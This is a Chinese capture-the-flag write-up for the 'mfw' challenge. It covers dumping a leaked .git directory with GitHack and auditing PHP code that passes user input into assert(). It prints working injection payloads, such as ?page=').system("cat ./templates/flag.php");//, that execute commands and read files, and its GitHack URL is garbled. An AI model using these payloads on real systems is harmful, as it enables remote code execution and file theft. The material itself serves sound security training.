【攻防世界】mfw

文章描述了一种通过PHP中的Git注入漏洞,利用GitHack工具下载源码的过程,同时提到了如何绕过assert函数的安全检查,展示了黑客可能利用这些技巧获取敏感文件的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

git源码泄漏+代码审计 

页面发现git ,可能存在git注入。用GitHack扫描,下载源文件。

知识点

GitHack:下载泄露的.git文件夹下的文件到本地。用于得到源码。

python GitHack.py http://61:52016/.147.171.105:52016/.git/ 

<?php
 
if (isset($_GET['page'])) {  
    $page = $_GET['page'];
} else {    
    $page = "home";
}
 
$file = "templates/" . $page . ".php";
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  
//防止访问上一级目录(..)

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
 
?>

知识点

assert函数在php中用来判断一个表达式是否成立,返回ture、false。

如果里面是一个字符串,则会当作php代码来执行。比如 assert( "file_exists('$file')" )。

想办法绕过 assert("strpos('$file', '..') === false")

?page=1') or phpinfo();#            

file_exists('templates/') or phpinfo();#.php 

(1)这里要注意不能直接写在url上,浏览器会对它进行编码,把它写在HackBar ;

(2)写 #、// 都可以。

?page=').system("cat ./templates/flag.php");//

(1)这里要用 . 连接。

找到flag。

小知识点

<?php

$page=13;

$file = "templates/" . $page . ".php";

echo $file;       // templates/13.php   没有双引号

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值